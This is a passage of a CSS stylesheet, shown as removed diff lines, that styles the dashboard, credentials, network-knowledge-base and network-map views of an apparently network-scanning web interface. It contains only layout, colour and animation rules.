.batt-indicator svg { - width: 18px; - height: 18px; - stroke: currentColor; - fill: none; - stroke-width: 2; -} - -.dashboard-container .pulse { - animation: db-pulseGlow 1.4s ease-in-out infinite; -} - -@keyframes db-pulseGlow { - - 0%, - 100% { - transform: scale(1); - opacity: .9; - } - - 50% { - transform: scale(1.1); - opacity: 1; - filter: drop-shadow(0 0 6px var(--glow-mid)); - } -} - -/* Connectivity */ -.dashboard-container .net-card .globe { - position: relative; - width: 84px; - height: 84px; - display: grid; - place-items: center; - background: color-mix(in oklab, var(--_panel) 92%, transparent); -} - -.dashboard-container .globe svg { - display: block; -} - -.dashboard-container .globe-rim { - fill: none; - stroke: color-mix(in oklab, var(--_ink) 18%, transparent); - stroke-width: 3; -} - -.dashboard-container .globe-lines { - fill: none; - stroke: var(--_acid2); - stroke-opacity: .85; - stroke-width: 2; - stroke-linecap: round; - stroke-dasharray: 4 5; - animation: db-globeSpin 12s linear infinite; - transform-origin: 32px 32px; -} - -@keyframes db-globeSpin { - to { - transform: rotate(360deg); - } -} - -.dashboard-container .net-badge { - display: inline-flex; - align-items: center; - gap: 8px; - padding: 6px 10px; - border-radius: 999px; - border: 1px solid var(--_border); - background: color-mix(in oklab, var(--_panel) 90%, transparent); - font-weight: 700; -} - -.dashboard-container .net-on { - color: color-mix(in oklab, var(--_ink) 94%, white); - background: var(--ok); - border-color: color-mix(in oklab, var(--ok) 60%, transparent); - text-shadow: 0 1px 0 rgba(0, 0, 0, .25); -} - -.dashboard-container .net-off { - background: color-mix(in oklab, var(--danger, #ff4d6d) 12%, var(--_panel)); - color: var(--_ink); - border-color: color-mix(in oklab, var(--danger, #ff4d6d) 50%, transparent); - box-shadow: inset 0 0 10px color-mix(in oklab, var(--danger, #ff4d6d) 35%, transparent); -} - -.dashboard-container .conn-card .row { - display: grid; - grid-template-columns: 22px 1fr auto; - gap: 10px; - align-items: center; - padding: 8px; - border: 1px solid var(--_border); - border-radius: 12px; - background: color-mix(in oklab, var(--_panel) 96%, transparent); -} - -.dashboard-container .conn-card .row+.row { - margin-top: 8px; -} - -.dashboard-container .conn-card .icon { - width: 22px; - height: 22px; - display: grid; - place-items: center; -} - -.dashboard-container .conn-card .icon svg { - width: 20px; - height: 20px; - stroke: var(--_muted); - fill: none; - stroke-width: 2; -} - -/* LED physical indicators */ -.dashboard-container .conn-card #row-wifi, -.dashboard-container .conn-card #row-bt, -.dashboard-container .conn-card #row-eth, -.dashboard-container .conn-card #row-usb { - grid-template-columns: 14px 22px 1fr auto; -} - -.dashboard-container .conn-card #row-wifi::before, -.dashboard-container .conn-card #row-bt::before, -.dashboard-container .conn-card #row-eth::before, -.dashboard-container .conn-card #row-usb::before { - content: ""; - width: 10px; - height: 10px; - border-radius: 50%; - justify-self: center; - background: #4a4f50; - box-shadow: 0 0 0 2px var(--_border) inset, 0 0 6px rgba(0, 0, 0, .35); - opacity: .9; -} - -.dashboard-container .conn-card #row-wifi[data-physon]::before, -.dashboard-container .conn-card #row-bt[data-physon]::before, -.dashboard-container .conn-card #row-eth[data-physon]::before, -.dashboard-container .conn-card #row-usb[data-physon]::before { - background: var(--ok); - box-shadow: 0 0 0 2px color-mix(in oklab, var(--ok) 40%, transparent) inset, 0 0 12px var(--ok); -} - -.dashboard-container .conn-card #row-wifi.err::before, -.dashboard-container .conn-card #row-bt.err::before, -.dashboard-container .conn-card #row-eth.err::before, -.dashboard-container .conn-card #row-usb.err::before { - background: var(--danger, #ff4d6d); - box-shadow: 0 0 12px var(--danger, #ff4d6d); -} - -.dashboard-container .state-pill { - padding: 3px 8px; - border-radius: 999px; - font-size: 12px; - border: 1px solid var(--_border); - background: color-mix(in oklab, var(--_panel) 90%, transparent); - color: var(--_muted); -} - -.dashboard-container .on .state-pill { - color: #d9ffe7; - background: color-mix(in oklab, var(--ok) 15%, #0f1f18); - border-color: color-mix(in oklab, var(--ok) 40%, var(--_border)); -} - -.dashboard-container .off .state-pill { - opacity: .8; -} - -.dashboard-container .err .state-pill { - color: #ffdadd; - background: color-mix(in oklab, var(--danger, #ff4d6d) 15%, #2a1a1a); - border-color: color-mix(in oklab, var(--danger, #ff4d6d) 40%, var(--_border)); -} - -.dashboard-container .details { - color: var(--_muted); - font-size: 12px; -} - -.dashboard-container .details .key { - color: var(--_ink); - font-weight: 600; -} - -.dashboard-container .details .dim { - opacity: .85; -} - -/* KPI cards */ -.dashboard-container .kpi-cards { - display: grid; - gap: var(--gap); - grid-template-columns: repeat(auto-fit, minmax(190px, 1fr)); - margin-top: var(--gap); -} - -.dashboard-container .kpi { - border: 1px solid var(--_border); - border-radius: var(--radius); - background: color-mix(in oklab, var(--_panel) 92%, transparent); - padding: var(--pad); - display: grid; - gap: 6px; -} - -.dashboard-container .kpi .label { - color: var(--_muted); - font-size: 12px; -} - -.dashboard-container .kpi .val { - font-size: 20px; - font-weight: 800; -} - -.dashboard-container .bar { - position: relative; - width: 100%; - height: 8px; - border-radius: 999px; - overflow: hidden; - background: color-mix(in oklab, var(--_ink) 8%, transparent); - border: 1px solid var(--_border); -} - -.dashboard-container .bar>i { - position: absolute; - left: 0; - top: 0; - bottom: 0; - width: 0%; - background: linear-gradient(90deg, var(--_acid), var(--_acid2)); - transition: width .25s ease; -} - -.dashboard-container .bar>i.warm { - background: linear-gradient(90deg, color-mix(in oklab, var(--warning, #ffd166) 85%, #ffbe55), var(--warning, #ffd166)); -} - -.dashboard-container .bar>i.hot { - background: linear-gradient(90deg, color-mix(in oklab, var(--danger, #ff4d6d) 85%, #ff6b6b), var(--danger, #ff4d6d)); -} - -.dashboard-container .delta { - display: inline-flex; - gap: 6px; - align-items: center; - padding: 2px 8px; - border-radius: 999px; - font-size: 12px; - border: 1px solid var(--_border); - background: color-mix(in oklab, var(--_panel) 92%, transparent); - color: var(--_muted); -} - -.dashboard-container .delta.good { - color: #d9ffe7; - background: color-mix(in oklab, var(--ok) 15%, #0f1f18); - border-color: color-mix(in oklab, var(--ok) 40%, var(--_border)); -} - -.dashboard-container .delta.bad { - color: #ffdadd; - background: color-mix(in oklab, var(--danger, #ff4d6d) 15%, #2a1a1a); - border-color: color-mix(in oklab, var(--danger, #ff4d6d) 40%, var(--_border)); -} - -.dashboard-container .submeta { - color: var(--_muted); - font-size: 12px; -} - -/* ===== CREDENTIALS ===== */ -.credentials-container { - display: flex; - flex-direction: column; - gap: 12px; - scroll-padding-top: 56px; -} - -.credentials-container .stats-bar { - display: flex; - gap: 12px; - flex-wrap: wrap; - padding: 12px; - background: color-mix(in oklab, var(--_panel) 88%, transparent); - border: 1px solid var(--_border); - border-radius: 12px; - box-shadow: var(--_shadow); - backdrop-filter: blur(16px); -} - -.credentials-container .stat-item { - display: flex; - align-items: center; - gap: 8px; - padding: 8px 12px; - border: 1px solid var(--_border); - border-radius: 10px; - background: color-mix(in oklab, var(--_panel) 70%, transparent); -} - -.credentials-container .stat-icon { - font-size: 1.1rem; - opacity: .9; -} - -.credentials-container .stat-value { - font-weight: 800; - background: linear-gradient(135deg, var(--_acid), var(--_acid2)); - -webkit-background-clip: text; - background-clip: text; - -webkit-text-fill-color: transparent; -} - -.credentials-container .stat-label { - color: var(--_muted); - font-size: .8rem; -} - -.credentials-container .global-search-container { - position: relative; -} - -.credentials-container .global-search-input { - width: 100%; - padding: 10px 14px; - border-radius: 12px; - border: 1px solid var(--_border); - background: color-mix(in oklab, var(--_panel) 90%, transparent); - color: var(--_ink); -} - -.credentials-container .global-search-input:focus { - outline: none; - border-color: color-mix(in oklab, var(--_acid2) 40%, var(--_border)); - box-shadow: 0 0 0 3px color-mix(in oklab, var(--_acid2) 18%, transparent); -} - -.credentials-container .clear-global-button { - position: absolute; - right: 10px; - top: 50%; - transform: translateY(-50%); - background: none; - border: 1px solid var(--_border); - color: #ef4444; - border-radius: 8px; - padding: 2px 6px; - display: none; -} - -.credentials-container .clear-global-button.show { - display: block; -} - -.credentials-container .tabs-container { - position: sticky; - top: 0; - z-index: 20; - display: flex; - align-items: center; - gap: 8px; - padding: 8px 12px; - min-height: 44px; - overflow-x: auto; - -webkit-overflow-scrolling: touch; - background: color-mix(in oklab, var(--_panel) 92%, transparent); - border: 1px solid var(--_border); - border-radius: 12px; - box-shadow: var(--_shadow); -} - -.credentials-container .tabs-container::-webkit-scrollbar { - height: 0; -} - -.credentials-container .tab { - padding: 10px 18px; - border-radius: 10px; - cursor: pointer; - color: var(--_muted); - font-weight: 700; - font-size: .9rem; - border: 1px solid transparent; - white-space: nowrap; - flex: 0 0 auto; -} - -.credentials-container .tab:hover { - background: rgba(255, 255, 255, .05); - color: var(--_ink); - border-color: var(--_border); -} - -.credentials-container .tab.active { - color: var(--_ink); - background: linear-gradient(135deg, color-mix(in oklab, var(--_acid2) 18%, transparent), color-mix(in oklab, var(--_acid) 14%, transparent)); - border-color: color-mix(in oklab, var(--_acid2) 28%, var(--_border)); -} - -.credentials-container .tab-badge { - margin-left: 8px; - padding: 2px 6px; - border-radius: 999px; - background: rgba(255, 255, 255, .1); - border: 1px solid var(--_border); - font-size: .75rem; -} - -.credentials-container .services-grid { - display: flex; - flex-direction: column; - gap: 12px; -} - -.credentials-container .service-card { - background: color-mix(in oklab, var(--_panel) 88%, transparent); - border: 1px solid var(--_border); - border-radius: 16px; - overflow: hidden; - box-shadow: var(--_shadow); -} - -.credentials-container .service-header { - display: flex; - align-items: center; - gap: 8px; - padding: 12px; - cursor: pointer; - user-select: none; - border-bottom: 1px solid color-mix(in oklab, var(--_border) 65%, transparent); -} - -.credentials-container .service-header:hover { - background: rgba(255, 255, 255, .04); -} - -.credentials-container .service-title { - flex: 1; - font-weight: 800; - letter-spacing: .2px; - font-size: .95rem; - text-transform: uppercase; - background: linear-gradient(135deg, var(--_acid), var(--_acid2)); - -webkit-background-clip: text; - background-clip: text; - -webkit-text-fill-color: transparent; - white-space: nowrap; - overflow: hidden; - text-overflow: ellipsis; -} - -.credentials-container .service-count { - font-weight: 800; - font-size: .8rem; - padding: 4px 8px; - border-radius: 10px; - background: rgba(255, 255, 255, .08); - color: var(--_ink); - border: 1px solid var(--_border); -} - -.credentials-container .service-card[data-credentials]:not([data-credentials="0"]) .service-count { - background: linear-gradient(135deg, #2e2e2e, #4CAF50); - box-shadow: inset 0 0 0 1px rgba(76, 175, 80, .35); -} - -.credentials-container .search-container { - position: relative; -} - -.credentials-container .search-input { - padding: 6px 24px 6px 8px; - border: none; - border-radius: 10px; - background: rgba(255, 255, 255, .06); - color: var(--_ink); - font-size: .82rem; -} - -.credentials-container .search-input:focus { - outline: none; - background: rgba(255, 255, 255, .1); -} - -.credentials-container .clear-button { - position: absolute; - right: 4px; - top: 50%; - transform: translateY(-50%); - border: none; - background: none; - color: #ef4444; - cursor: pointer; - display: none; -} - -.credentials-container .clear-button.show { - display: block; -} - -.credentials-container .download-button { - border: 1px solid var(--_border); - background: rgba(255, 255, 255, .04); - color: var(--_muted); - border-radius: 8px; - padding: 4px 8px; - cursor: pointer; -} - -.credentials-container .download-button:hover { - color: #e99f00; - filter: brightness(1.06); -} - -.credentials-container .collapse-indicator { - color: var(--_muted); -} - -.credentials-container .service-card.collapsed .service-content { - max-height: 0; - overflow: hidden; -} - -.credentials-container .service-content { - padding: 8px 12px; -} - -.credentials-container .credential-item { - border: 1px solid var(--_border); - border-radius: 10px; - margin-bottom: 6px; - padding: 8px; - background: rgba(255, 255, 255, .02); - display: grid; - grid-template-columns: repeat(auto-fit, minmax(120px, 1fr)); - gap: 8px; -} - -.credentials-container .credential-field { - display: flex; - align-items: center; - gap: 6px; -} - -.credentials-container .field-label { - font-size: .78rem; - color: var(--_muted); -} - -.credentials-container .field-value { - flex: 1; - padding: 2px 6px; - border-radius: 8px; - cursor: pointer; - white-space: nowrap; - overflow: hidden; - text-overflow: ellipsis; - border: 1px solid transparent; -} - -.credentials-container .field-value:hover { - background: rgba(255, 255, 255, .06); - border-color: var(--_border); -} - -.credentials-container .bubble-blue { - background: linear-gradient(135deg, #1d2a32, #00c4d6); - color: #fff; -} - -.credentials-container .bubble-green { - background: linear-gradient(135deg, #1e2a24, #00b894); - color: #fff; -} - -.credentials-container .bubble-orange { - background: linear-gradient(135deg, #3b2f1a, #e7951a); - color: #fff; -} - -.credentials-container .copied-feedback { - position: fixed; - left: 50%; - bottom: 20px; - transform: translateX(-50%); - padding: 8px 12px; - background: #4CAF50; - color: #fff; - border-radius: 10px; - box-shadow: var(--_shadow); - opacity: 0; - transition: opacity .25s; - z-index: 9999; -} - -.credentials-container .copied-feedback.show { - opacity: 1; -} - -/* ===== NETKB ===== */ -.netkb-container { - display: grid; - gap: 16px; -} - -.netkb-container .hidden { - display: none !important; -} - -.netkb-container .netkb-toolbar-wrap { - position: sticky; - top: 0; - z-index: 500; - backdrop-filter: saturate(1.1) blur(6px); -} - -.netkb-container .netkb-toolbar { - position: relative; - display: flex; - gap: 12px; - align-items: center; - justify-content: flex-end; - margin-bottom: 12px; - border: 1px solid var(--c-border-strong); - padding: 8px 10px; - box-shadow: var(--shadow); - background: var(--panel); - border-radius: 16px; -} - -/* .segmented styles now inherited from global.css */ - -.netkb-container .kb-switch { - display: inline-flex; - align-items: center; - gap: 10px; - font-weight: 700; - color: var(--muted); - background: var(--panel); - border: 1px solid var(--c-border-strong); - border-radius: 999px; - padding: 6px 10px; -} - -.netkb-container .kb-switch input { - display: none; -} - -.netkb-container .kb-switch .track { - width: 44px; - height: 24px; - border-radius: 999px; - background: var(--c-panel-2); - position: relative; - border: 1px solid var(--c-border); -} - -.netkb-container .kb-switch .thumb { - position: absolute; - top: 2px; - left: 2px; - width: 20px; - height: 20px; - border-radius: 50%; - background: var(--ink); - box-shadow: 0 2px 8px rgba(0, 0, 0, .4); - transition: left .18s ease, background .18s ease; -} - -.netkb-container .kb-switch input:checked~.track .thumb { - left: 22px; - background: var(--acid); -} - -.netkb-container .kb-switch[data-on="true"] { - color: var(--ink); -} - -.netkb-container .icon-btn { - display: inline-flex; - align-items: center; - justify-content: center; - width: 40px; - height: 40px; - border-radius: 12px; - background: var(--c-panel); - border: 1px solid var(--c-border-strong); - box-shadow: var(--shadow); - cursor: pointer; - transition: transform .12s ease, box-shadow .12s ease; -} - -.netkb-container .icon-btn:hover { - transform: translateY(-1px); - box-shadow: var(--shadow-hover); -} - -.netkb-container .icon-btn svg { - width: 20px; - height: 20px; - fill: var(--ink); -} - -.netkb-container .search-pop { - position: absolute; - right: 8px; - top: 54px; - display: none; - min-width: 260px; - background: var(--c-panel); - border: 1px solid var(--c-border-strong); - border-radius: 12px; - padding: 10px; - box-shadow: var(--shadow-hover); -} - -.netkb-container .search-pop.show { - display: block; -} - -.netkb-container .search-input-wrap { - position: relative; - display: flex; - align-items: center; -} - -.netkb-container .search-pop input { - width: 100%; - padding: 10px 32px 10px 12px; - border-radius: 10px; - border: 1px solid var(--c-border); - background: var(--c-panel-2); - color: var(--ink); - font-weight: 700; - outline: none; -} - -.netkb-container .search-clear { - position: absolute; - right: 6px; - top: 50%; - transform: translateY(-50%); - width: 24px; - height: 24px; - display: flex; - align-items: center; - justify-content: center; - border: none; - background: transparent; - color: var(--muted); - font-size: 14px; - cursor: pointer; - border-radius: 50%; - transition: background .15s; -} - -.netkb-container .search-clear:hover { - background: var(--c-border-strong); - color: var(--ink); -} - -.netkb-container .search-hint { - margin-top: 6px; - font-size: .85rem; - color: var(--muted); -} - -.netkb-container .card-container { - display: flex; - flex-wrap: wrap; - gap: 12px; - align-items: stretch; - justify-content: center; -} - -.netkb-container .card { - background: var(--grad-card); - color: var(--ink); - border: 1px solid var(--c-border-strong); - border-radius: 18px; - box-shadow: var(--shadow); - width: min(380px, 100%); - padding: 12px; - display: flex; - flex-direction: column; - gap: 10px; - transition: transform .15s ease, box-shadow .15s ease, border-color .15s ease, background .15s ease; -} - -.netkb-container .card:hover { - box-shadow: var(--shadow-hover); - border-color: var(--c-border-hi); - transform: translateY(-1px); -} - -.netkb-container .card.alive .card-title { - color: var(--ok); -} - -.netkb-container .card.not-alive { - background: var(--kb-offline-bg); - border-color: var(--kb-offline-brd); - color: color-mix(in oklab, var(--muted) 90%, var(--ink) 10%); - box-shadow: 0 0 0 1px var(--kb-offline-brd), 0 0 0 2px color-mix(in oklab, var(--kb-offline-ring) 26%, transparent), var(--shadow); -} - -.netkb-container .card.not-alive .card-title { - color: color-mix(in oklab, var(--muted) 85%, var(--ink) 15%); -} - -.netkb-container .card-content { - display: flex; - flex-direction: column; - gap: 6px; - flex: 1; -} - -.netkb-container .card-title { - font-size: 1.1rem; - font-weight: 800; - margin: 0; -} - -.netkb-container .card-section { - display: flex; - align-items: center; - gap: 8px; - flex-wrap: wrap; -} - -.netkb-container .card.list { - width: 100%; - max-width: none; - flex-direction: row; - align-items: center; -} - -.netkb-container .card.list .card-title { - font-size: 1rem; -} - -.netkb-container .chip { - display: inline-block; - padding: .32rem .7rem; - border-radius: 999px; - border: 1px solid var(--c-border-strong); - background: var(--kb-chip); - color: var(--ink); - font-weight: 700; - font-size: .92rem; -} - -.netkb-container .chip.host { - background: var(--kb-hostname-bg); -} - -.netkb-container .chip.ip { - background: var(--kb-ip-bg); -} - -.netkb-container .chip.mac { - background: var(--kb-mac-bg); - color: var(--muted); -} - -.netkb-container .chip.vendor { - background: var(--kb-vendor-bg); -} - -.netkb-container .chip.essid { - background: var(--kb-essid-bg); -} - -.netkb-container .chip.port { - background: var(--kb-ports-bg); - border-color: var(--c-border-hi); -} - -.netkb-container .port-bubbles { - display: flex; - flex-wrap: wrap; - gap: 6px; -} - -.netkb-container .status-container { - display: flex; - flex-wrap: wrap; - gap: 8px; - justify-content: center; -} - -.netkb-container .badge { - background: var(--c-panel-2); - color: var(--ink); - border: 1px solid var(--c-border); - border-radius: 14px; - padding: 8px 10px; - min-width: 160px; - text-align: center; - box-shadow: var(--shadow); - transition: transform .12s ease, box-shadow .12s ease, opacity .12s ease; - position: relative; -} - -.netkb-container .badge .badge-header { - font-weight: 800; - opacity: .95; -} - -.netkb-container .badge .badge-status { - font-weight: 900; -} - -.netkb-container .badge .badge-timestamp { - font-size: .85em; - opacity: .9; -} - -.netkb-container .badge.clickable { - cursor: pointer; -} - -.netkb-container .badge:hover { - transform: translateY(-1px); - box-shadow: var(--shadow-hover); -} - -.netkb-container .badge.success { - background: linear-gradient(180deg, color-mix(in oklab, var(--ok) 12%, transparent), transparent); -} - -.netkb-container .badge.failed { - background: linear-gradient(180deg, color-mix(in oklab, var(--danger) 18%, transparent), transparent); -} - -.netkb-container .badge.pending { - background: linear-gradient(180deg, color-mix(in oklab, var(--muted) 12%, transparent), transparent); -} - -.netkb-container .badge.expired { - background: linear-gradient(180deg, color-mix(in oklab, var(--warning) 18%, transparent), transparent); -} - -.netkb-container .badge.cancelled { - background: linear-gradient(180deg, color-mix(in oklab, var(--c-panel) 18%, transparent), transparent); -} - -.netkb-container .badge.running { - background: linear-gradient(180deg, color-mix(in oklab, #18f0ff 14%, transparent), transparent); - overflow: hidden; - animation: kb-badgePulse 1.6s ease-in-out infinite; -} - -.netkb-container .badge.running::after { - content: ""; - position: absolute; - inset: 0; - background: var(--kb-badge-shimmer); - animation: kb-shimmer 1.8s linear infinite; -} - -.netkb-container .badge.running::before { - content: ""; - position: absolute; - inset: -20%; - background: linear-gradient(130deg, transparent 40%, rgba(255, 255, 255, .06) 50%, transparent 60%); - animation: kb-sheen 2.2s ease-in-out infinite; -} - -@keyframes kb-shimmer { - 0% { - transform: translateX(-100%); - } - - 100% { - transform: translateX(100%); - } -} - -@keyframes kb-sheen { - 0% { - transform: translateX(-30%); - } - - 100% { - transform: translateX(30%); - } -} - -@keyframes kb-badgePulse { - - 0%, - 100% { - box-shadow: 0 0 0 0 rgba(24, 240, 255, .12); - } - - 50% { - box-shadow: 0 0 0 8px rgba(24, 240, 255, .04); - } -} - -.netkb-container .table-wrap { - border: 1px solid var(--c-border-strong); - border-radius: 14px; - overflow: auto; - background: var(--panel); - box-shadow: var(--shadow); -} - -.netkb-container .table-inner { - min-width: max-content; -} - -.netkb-container table { - width: 100%; - border-collapse: separate; - border-spacing: 0; -} - -.netkb-container thead th { - position: sticky; - top: 0; - z-index: 2; - background: var(--c-panel); - color: var(--ink); - border-bottom: 1px solid var(--c-border-strong); - padding: 10px; - text-align: left; - white-space: nowrap; - cursor: pointer; -} - -.netkb-container tbody td { - border-bottom: 1px solid var(--c-border); - padding: 10px; - white-space: nowrap; - text-align: center; -} - -.netkb-container th:first-child, -.netkb-container td:first-child { - position: sticky; - left: 0; - background: var(--panel); - z-index: 3; -} - -.netkb-container .filter-icon { - width: 16px; - height: 16px; - margin-left: 6px; - vertical-align: middle; -} - -.netkb-container mark.hl { - background: color-mix(in oklab, var(--acid) 25%, transparent); - color: var(--ink); - padding: 0 .15em; - border-radius: 4px; -} - -.netkb-container .segmented button:focus-visible, -.netkb-container .icon-btn:focus-visible, -.netkb-container .kb-switch:has(input:focus-visible) { - outline: 2px solid var(--acid); - outline-offset: 2px; - box-shadow: 0 0 0 3px color-mix(in oklab, var(--acid) 25%, transparent); -} - -@media (max-width:720px) { - .netkb-container { - min-width: 0; - max-width: 100%; - overflow: hidden; - } - - .netkb-container .card { - width: 100%; - } - - .netkb-container .segmented button[data-view="grid"] { - display: none; - } - - .netkb-container .netkb-toolbar-wrap { - position: relative; - top: auto; - } - - .netkb-container .netkb-toolbar { - flex-wrap: wrap; - justify-content: center; - gap: 8px; - } - - .netkb-container .table-wrap { - display: block; - overflow-x: auto; - -webkit-overflow-scrolling: touch; - max-width: 100%; - width: 100%; - box-sizing: border-box; - } - - .netkb-container .table-inner>table { - min-width: 760px; - width: max-content; - } - - .netkb-container thead th, - .netkb-container tbody td { - min-width: 80px; - font-size: .85rem; - padding: 8px 6px; - white-space: nowrap; - } - - .netkb-container .chip { - font-size: .8rem; - padding: .25rem .5rem; - } - - .netkb-container .badge { - min-width: 120px; - padding: 6px 8px; - } -} - -/* ===== NETWORK ===== */ -.network-container { - padding: 12px; - position: relative; - z-index: 2; - display: flex; - flex-direction: column; - min-height: calc(100vh - var(--h-topbar, 56px) - var(--h-bottombar, 56px) - 16px); -} - -.network-container .nv-toolbar-wrap { - position: sticky; - top: 0; - margin: 0 0 10px 0; - z-index: 500; - backdrop-filter: saturate(1.1) blur(6px); -} - -.network-container .nv-toolbar { - display: flex; - gap: 12px; - align-items: center; - justify-content: space-between; - background: var(--panel); - border: 1px solid var(--c-border-strong); - border-radius: 16px; - padding: 8px 10px; - box-shadow: var(--shadow); -} - -.network-container .nv-search { - display: flex; - align-items: center; - gap: 8px; - background: var(--c-panel); - border: 1px solid var(--c-border-strong); - border-radius: 12px; - padding: 6px 10px; - min-width: 240px; - box-shadow: var(--shadow); -} - -.network-container .nv-search-icon { - font-size: 16px; - flex-shrink: 0; - opacity: .9; -} - -.network-container .nv-search input { - border: none; - outline: none; - background: transparent; - color: var(--ink); - font-weight: 700; - width: 100%; - min-width: 0; -} - -.network-container .nv-search-clear { - flex-shrink: 0; - width: 22px; - height: 22px; - display: flex; - align-items: center; - justify-content: center; - border: none; - background: transparent; - color: var(--muted); - font-size: 13px; - cursor: pointer; - border-radius: 50%; - transition: background .15s; -} - -.network-container .nv-search-clear:hover { - background: var(--c-border-strong); - color: var(--ink); -} - -.network-container .segmented { - display: inline-flex; - background: var(--panel); - border: 1px solid var(--c-border-strong); - border-radius: 999px; - padding: 4px; - box-shadow: var(--shadow); -} - -.network-container .segmented button { - appearance: none; - border: 0; - background: transparent; - color: var(--muted); - font-weight: 700; - padding: 8px 14px; - border-radius: 999px; - cursor: pointer; - transition: background .15s ease, color .15s ease, transform .1s ease; -} - -.network-container .segmented button[aria-pressed="true"] { - background: var(--grad-card); - color: var(--ink); - box-shadow: inset 0 0 0 1px var(--c-border-hi), 0 6px 24px var(--glow-weak); - transform: translateY(-1px); -} - -.network-container .nv-switch { - display: inline-flex; - align-items: center; - gap: 10px; - font-weight: 700; - color: var(--muted); - background: var(--panel); - border: 1px solid var(--c-border-strong); - border-radius: 999px; - padding: 6px 10px; - box-shadow: var(--shadow); -} - -.network-container .nv-switch input { - display: none; -} - -.network-container .nv-switch .track { - width: 44px; - height: 24px; - border-radius: 999px; - background: var(--c-panel-2); - position: relative; - border: 1px solid var(--c-border); -} - -.network-container .nv-switch .thumb { - position: absolute; - top: 2px; - left: 2px; - width: 20px; - height: 20px; - border-radius: 50%; - background: var(--ink); - box-shadow: 0 2px 8px rgba(0, 0, 0, .4); - transition: left .18s ease, background .18s ease; -} - -.network-container .nv-switch input:checked~.track .thumb { - left: 22px; - background: var(--acid); -} - -.network-container .nv-switch[data-on="true"] { - color: var(--ink); -} - -.network-container .table-wrap { - border: 1px solid var(--c-border-strong); - border-radius: 14px; - overflow: auto; - -webkit-overflow-scrolling: touch; - background: var(--c-panel, #0b1218); - box-shadow: var(--shadow); - flex: 1; - min-height: 0; -} - -.network-container table.network-table { - width: 100%; - min-width: 860px; - table-layout: auto; - border-collapse: separate; - border-spacing: 0 .5rem; -} - -.network-container thead th { - position: sticky; - top: 0; - z-index: 3; - background: var(--c-panel, #0b1218); - color: var(--ink); - border-bottom: 1px solid var(--c-border-strong); - padding: 10px; - text-align: left; - white-space: nowrap; - cursor: pointer; - border-radius: 8px; -} - -.network-container tbody tr { - background: color-mix(in oklab, var(--c-panel, #0b1218) 95%, var(--acid) 5%); - border: 1px solid var(--c-border-strong); - border-radius: 8px; - transition: .25s ease; -} - -.network-container tbody tr:hover { - background: color-mix(in oklab, var(--c-panel, #0b1218) 88%, var(--acid) 12%); - box-shadow: var(--shadow); - transform: translateY(-2px); -} - -.network-container td { - padding: 10px; - color: var(--ink, #fff); - background: color-mix(in oklab, var(--c-panel, #0b1218) 96%, var(--acid) 4%); - vertical-align: top; - white-space: normal; -} - -.network-container th.hosts-header { - left: 0; - position: sticky; - z-index: 4; -} - -.network-container td.hosts-cell { - position: sticky; - left: 0; - z-index: 2; - background: color-mix(in oklab, var(--c-panel, #0b1218) 92%, var(--acid) 8%); -} - -.network-container thead th.sort-asc::after { - content: '\2191'; - margin-left: 8px; - color: #00b894; -} - -.network-container thead th.sort-desc::after { - content: '\2193'; - margin-left: 8px; - color: #00b894; -} - -.network-container .hosts-content { - display: flex; - align-items: center; - gap: .55rem; - flex-wrap: wrap; - min-width: 320px; -} - -.network-container .bubble { - padding: .5rem 1rem; - border-radius: 6px; - font-size: .9rem; - display: inline-flex; - align-items: center; - gap: .5rem; - transition: .2s; - box-shadow: 0 2px 4px rgba(0, 0, 0, .1); -} - -.network-container .bubble.essid { - background: linear-gradient(135deg, #272727, #2560a1); - color: #fff; - padding: 5px 10px; - border-radius: 5px; - font-size: .9em; - font-weight: bold; - white-space: nowrap; - display: inline-block; -} - -.network-container .bubble.ip-address { - background: linear-gradient(135deg, #272727, #00cec9); - color: #fff; - font-weight: 600; - cursor: pointer; -} - -.network-container .bubble.hostname { - background: linear-gradient(135deg, #5b5c5a, #e7951a); - color: #fff; - cursor: pointer; -} - -.network-container .bubble.mac-address { - background: linear-gradient(135deg, #404041, #636e72); - color: #b2bec3; - font-family: monospace; - cursor: pointer; - overflow: hidden; - text-overflow: ellipsis; - white-space: nowrap; -} - -.network-container .bubble.vendor { - background: linear-gradient(135deg, #5b5c5a, #0a4952); - color: #fff; - font-weight: 600; - cursor: pointer; - white-space: nowrap; -} - -.network-container .ports-container { - display: flex; - flex-wrap: wrap; - gap: .45rem; - align-items: center; - min-width: 220px; -} - -.network-container .port-bubble { - background: linear-gradient(135deg, #1f2c33, #00b894); - color: #eafff8; - padding: .4rem .8rem; - border-radius: 20px; - font-size: .85rem; - border: 1px solid color-mix(in oklab, #00b894 40%, transparent); - max-width: fit-content; - transition: .2s; -} - -.network-container .port-bubble:hover { - transform: scale(1.08); - box-shadow: 0 2px 8px rgba(9, 132, 227, .3); -} - -.network-container .segmented button:focus-visible, -.network-container .nv-search input:focus-visible, -.network-container .nv-switch:has(input:focus-visible) { - outline: 2px solid var(--acid); - outline-offset: 2px; - box-shadow: 0 0 0 3px color-mix(in oklab, var(--acid) 25%, transparent); -} - -/* Ocean / Map */ -.network-container .ocean-container { - position: fixed; - top: 0; - left: 0; - width: 100%; - height: 100%; - overflow: hidden; - z-index: 0; - pointer-events: none; - background: radial-gradient(ellipse at center, #0a4b7a 0%, #01162e 60%, #00050a 100%); -} - -.network-container .ocean-surface { - position: absolute; - top: -50%; - left: -50%; - width: 200%; - height: 200%; - opacity: 0.3; - background-image: repeating-radial-gradient(circle at 50% 50%, transparent 0, transparent 20px, rgba(255, 255, 255, 0.02) 25px, transparent 40px); - animation: nv-oceanDrift 60s linear infinite alternate; -} - -.network-container .ocean-caustics { - position: absolute; - top: -100%; - left: -100%; - width: 300%; - height: 300%; - opacity: 0.3; - mix-blend-mode: overlay; - animation: nv-causticFlow 30s linear infinite; -} - -@keyframes nv-oceanDrift { - 0% { - transform: translate(0, 0) rotate(0deg); - } - - 100% { - transform: translate(-40px, 20px) rotate(1deg); - } -} - -@keyframes nv-causticFlow { - 0% { - transform: translate(0, 0); - } - - 100% { - transform: translate(-100px, -50px); - } -} - -.network-container #visualization-container { - display: none; - position: relative; - min-height: calc(100vh - var(--h-topbar, 56px) - var(--h-bottombar, 56px) - 100px); - height: 100%; - flex: 1; - border-radius: 14px; - overflow: hidden; - border: 1px solid var(--c-border-strong); - box-shadow: var(--shadow); - background: transparent; -} - -.network-container .link { - stroke: rgba(255, 255, 255, 0.15); - stroke-width: 1px; -} - -.network-container .node { - cursor: pointer; - transition: opacity 0.5s; -} - -.network-container .foam-ring { - fill: rgba(240, 248, 255, 0.3); - mix-blend-mode: screen; - animation: nv-foamPulse 4s ease-in-out infinite alternate; -} - -.network-container 